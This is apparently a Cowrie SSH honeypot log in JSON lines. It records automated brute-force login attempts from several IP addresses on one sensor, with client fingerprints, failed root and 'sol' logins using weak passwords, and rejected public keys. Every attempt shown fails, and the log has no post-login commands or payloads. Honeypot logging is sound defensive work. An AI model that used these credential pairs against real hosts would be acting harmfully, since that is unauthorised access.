{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":49700,"dst_ip":"10.17.0.5","dst_port":22,"session":"49079d42293e","protocol":"ssh","message":"New connection: 38.93.206.2:49700 (10.17.0.5:22) [session: 49079d42293e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:27.066663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:27.071032Z","src_ip":"38.93.206.2","session":"49079d42293e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:27.128105Z","src_ip":"38.93.206.2","session":"49079d42293e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111!","message":"login attempt [root/111111!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:27.376239Z","src_ip":"38.93.206.2","session":"49079d42293e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:28.429470Z","src_ip":"38.93.206.2","session":"49079d42293e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":51828,"dst_ip":"10.17.0.5","dst_port":22,"session":"e00e036ff23d","protocol":"ssh","message":"New connection: 103.75.183.219:51828 (10.17.0.5:22) [session: e00e036ff23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:39.058326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:39.062032Z","src_ip":"103.75.183.219","session":"e00e036ff23d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:39.312934Z","src_ip":"103.75.183.219","session":"e00e036ff23d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert1234","message":"login attempt [root/qwert1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:40.058993Z","src_ip":"103.75.183.219","session":"e00e036ff23d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:11:41.310059Z","src_ip":"103.75.183.219","session":"e00e036ff23d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":45396,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a900f2cbef4","protocol":"ssh","message":"New connection: 103.27.238.114:45396 (159.203.135.109:22) [session: 0a900f2cbef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:16.350806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:16.355746Z","src_ip":"103.27.238.114","session":"0a900f2cbef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:16.632816Z","src_ip":"103.27.238.114","session":"0a900f2cbef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pavel","message":"login attempt [root/pavel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:17.459625Z","src_ip":"103.27.238.114","session":"0a900f2cbef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:18.737926Z","src_ip":"103.27.238.114","session":"0a900f2cbef4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":56638,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ac40ba36541","protocol":"ssh","message":"New connection: 2.57.122.238:56638 (159.203.135.109:22) [session: 4ac40ba36541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:22.573864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:22.591693Z","src_ip":"2.57.122.238","session":"4ac40ba36541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:22.696034Z","src_ip":"2.57.122.238","session":"4ac40ba36541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:23.007988Z","src_ip":"2.57.122.238","session":"4ac40ba36541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:24.116866Z","src_ip":"2.57.122.238","session":"4ac40ba36541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.197.44","src_port":60230,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0b563dc915b","protocol":"ssh","message":"New connection: 175.107.197.44:60230 (10.17.0.5:22) [session: f0b563dc915b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:30.395891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:30.400884Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:30.615969Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:00:38:30:72:e5:ba:dc:3c:4c:e5:e3:d6:04:61:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSQAFA/KN0v3KBQavKL+abBbIAKm8j1miNb6MasghliqJmzxc/kDFEP5IVS3XDXZjU9amIiS7/hJBgGSmg9WALRb3j+H56ekMZLT+D562mHagtPu3GxL0Kp+zstQv9blKYnXrgLcxwWIXbg2qL2HpMWhCYNXVLOIecLeEoNHEQFtBREwOZ68SGrZYflbuRH+d5Km+I3qpja2RC2sG/ri92F3pfJyDCB3bs7Lhtx+OG4mYXfxW2nTcBlymXKdi/g4gQrQuXSTILdcpdmQTTPF9OcX91PnKa7veeJfNiWphdSoqta5mhYW+TPa5GUJ/twzumdhOVIsbhDIkFYTY4DZkP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:00:38:30:72:e5:ba:dc:3c:4c:e5:e3:d6:04:61:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:31.665729Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:00:38:30:72:e5:ba:dc:3c:4c:e5:e3:d6:04:61:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSQAFA/KN0v3KBQavKL+abBbIAKm8j1miNb6MasghliqJmzxc/kDFEP5IVS3XDXZjU9amIiS7/hJBgGSmg9WALRb3j+H56ekMZLT+D562mHagtPu3GxL0Kp+zstQv9blKYnXrgLcxwWIXbg2qL2HpMWhCYNXVLOIecLeEoNHEQFtBREwOZ68SGrZYflbuRH+d5Km+I3qpja2RC2sG/ri92F3pfJyDCB3bs7Lhtx+OG4mYXfxW2nTcBlymXKdi/g4gQrQuXSTILdcpdmQTTPF9OcX91PnKa7veeJfNiWphdSoqta5mhYW+TPa5GUJ/twzumdhOVIsbhDIkFYTY4DZkP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:31.670366Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:1a:f1:a2:f0:c6:b4:9a:9a:97:3c:9c:2b:b7:52:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCekdOWj/oK2chm8++f92PZQAzolfhbTJm8WPIsuDuzZPVZB3T4Lj5e914prU8xVaKn1A6JuFHbLV7esxuXyL3swKoZAW3TMmg4L+RW/tXdDwp0VG8ICuzgH5PlJ29Ot6vGTpfjwrkbPDpuqYVxbgv/hKmpC3WTmfNrms5cymU75T46lvc2xWwUriV8QYbXQ92a+mMPtKZDdcub9T4ytMHVxXujXBjccQRW54cwDxuOyOSqBl7zpAyC2DVZDwb2lpLkUQUuCkdfwgG99OwdDx7DxmG0WnePEN9PEEPD5f1/0k63dL0cH6eB/ZMIhq8w/iUqbwh51j/kt0VlgdoKWfCZJcH17HEQUaJP1M0uab+FiwsrG4kfgTes3FUoMjoq7ozSwHd/ohFQP5nVZIijN3BepqCHutXWVKFbd6/VYGzOK0Ha9Dqvn750ge3XbNGsB2oSbMVGbN7Xbf5GY/RU1rOOJTQKK/IhkA4r2zWMvlX2nSQUO55T4/Cl+aC+lUMSfns=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:1a:f1:a2:f0:c6:b4:9a:9a:97:3c:9c:2b:b7:52:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:31.889954Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:1a:f1:a2:f0:c6:b4:9a:9a:97:3c:9c:2b:b7:52:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCekdOWj/oK2chm8++f92PZQAzolfhbTJm8WPIsuDuzZPVZB3T4Lj5e914prU8xVaKn1A6JuFHbLV7esxuXyL3swKoZAW3TMmg4L+RW/tXdDwp0VG8ICuzgH5PlJ29Ot6vGTpfjwrkbPDpuqYVxbgv/hKmpC3WTmfNrms5cymU75T46lvc2xWwUriV8QYbXQ92a+mMPtKZDdcub9T4ytMHVxXujXBjccQRW54cwDxuOyOSqBl7zpAyC2DVZDwb2lpLkUQUuCkdfwgG99OwdDx7DxmG0WnePEN9PEEPD5f1/0k63dL0cH6eB/ZMIhq8w/iUqbwh51j/kt0VlgdoKWfCZJcH17HEQUaJP1M0uab+FiwsrG4kfgTes3FUoMjoq7ozSwHd/ohFQP5nVZIijN3BepqCHutXWVKFbd6/VYGzOK0Ha9Dqvn750ge3XbNGsB2oSbMVGbN7Xbf5GY/RU1rOOJTQKK/IhkA4r2zWMvlX2nSQUO55T4/Cl+aC+lUMSfns=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:31.893337Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:e3:c3:7e:4d:89:6c:66:52:ed:80:f4:58:c8:c2:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg5gtQSlaGulKChODbeuMx6tEyfr43UkS6mklG3ebT4YUQSZf6agFLKHxKpVChw95UgJvrdVBB2w9/oadBiw8PvwYT6UCjagaSKFqECD38GzE2KHqkccP1GogPQMXC7zlmAibRJ4Jc5IeMH/JaRte4mJ3lkEg8DA9yGbBjPNARKzBvvb2Vdi1jxy7Fj86I91bKfycplQ9WTtBYb4yXvE4OSL5aPYoHFrXTav3Eurj7Kt1L/4bhLPr12w00mayYTmIL6hoIg9m1hTzawuh7m4kyYZOyzrjKisTaI2YXOQhr4m7E+8KNHJ4xyOKRcEyVl4ANwKtyO4XxIUPC4MwsH5Rd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:e3:c3:7e:4d:89:6c:66:52:ed:80:f4:58:c8:c2:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:32.107232Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:e3:c3:7e:4d:89:6c:66:52:ed:80:f4:58:c8:c2:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg5gtQSlaGulKChODbeuMx6tEyfr43UkS6mklG3ebT4YUQSZf6agFLKHxKpVChw95UgJvrdVBB2w9/oadBiw8PvwYT6UCjagaSKFqECD38GzE2KHqkccP1GogPQMXC7zlmAibRJ4Jc5IeMH/JaRte4mJ3lkEg8DA9yGbBjPNARKzBvvb2Vdi1jxy7Fj86I91bKfycplQ9WTtBYb4yXvE4OSL5aPYoHFrXTav3Eurj7Kt1L/4bhLPr12w00mayYTmIL6hoIg9m1hTzawuh7m4kyYZOyzrjKisTaI2YXOQhr4m7E+8KNHJ4xyOKRcEyVl4ANwKtyO4XxIUPC4MwsH5Rd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:32.111635Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:64:90:a5:1d:89:fe:80:c8:85:8a:53:49:4f:97:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDONnV3FuZVnED5MrsyHjT2+Y+EmTvsPlXMwOeKjf42/jyuuCn4kD6LUyXK/Mzhwh3aFS3Ycr2cRGP0hHGVYSeJq5UKGfan10C5EWT19BqzPJc5iQDVlLowf2I7GHByqF0U5fPkDp8bRXB2jY2EKJiJL7W2N6rGBM0dIlWu41nePE3KI0kolKkn1cxfs1NnCyMgUTAkIr/s1gSAk54JzF8+NBU1d/ZhafmBoMEaWDqaXK+4O1HXwT5uNA3XP5FcgP+JMyxSmhoeDA9ogNdPPIkXzklzo5a3erTNLREoN/RBbZi4Ns+A3545jSv+G+JqTvPlB3NaoDwNjO4elp7pIwmJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:64:90:a5:1d:89:fe:80:c8:85:8a:53:49:4f:97:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:32.327997Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:64:90:a5:1d:89:fe:80:c8:85:8a:53:49:4f:97:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDONnV3FuZVnED5MrsyHjT2+Y+EmTvsPlXMwOeKjf42/jyuuCn4kD6LUyXK/Mzhwh3aFS3Ycr2cRGP0hHGVYSeJq5UKGfan10C5EWT19BqzPJc5iQDVlLowf2I7GHByqF0U5fPkDp8bRXB2jY2EKJiJL7W2N6rGBM0dIlWu41nePE3KI0kolKkn1cxfs1NnCyMgUTAkIr/s1gSAk54JzF8+NBU1d/ZhafmBoMEaWDqaXK+4O1HXwT5uNA3XP5FcgP+JMyxSmhoeDA9ogNdPPIkXzklzo5a3erTNLREoN/RBbZi4Ns+A3545jSv+G+JqTvPlB3NaoDwNjO4elp7pIwmJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:32.331967Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:ad:39:6f:b2:1d:ec:6e:99:2b:b4:4b:a2:83:2b:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClfd0Q1wGCcKUdVakkHg68zwpN5Z3v9+clmpOa/J3c8co4Ro4bx3w9jHHDtxYNXT03hJmErHX9iUrBcSjjfCeR45OPgT7tw3OtwuE16OZECtaTUeMvja1wCbzE6aBEfKRwsm2K6Bzpanclb6QmMr2PEQj4HiGAnLPocaIEZJ87Z1zOmK6f+O0o00znESywIeGmSVUBMNdD7Q8mT6o9/QJGid2oTcXrgYJ190O4YkSfXtbGOkCVr14pb11fjJb4Cl42diZ03k51vJ1wUazkfAg6XMUBQRoPKX8BggHti+kMWj1I1K3euVmzPq7TsqUi6QWe+wprR+OXGcB/BHcE1jlj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:ad:39:6f:b2:1d:ec:6e:99:2b:b4:4b:a2:83:2b:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:32.547579Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
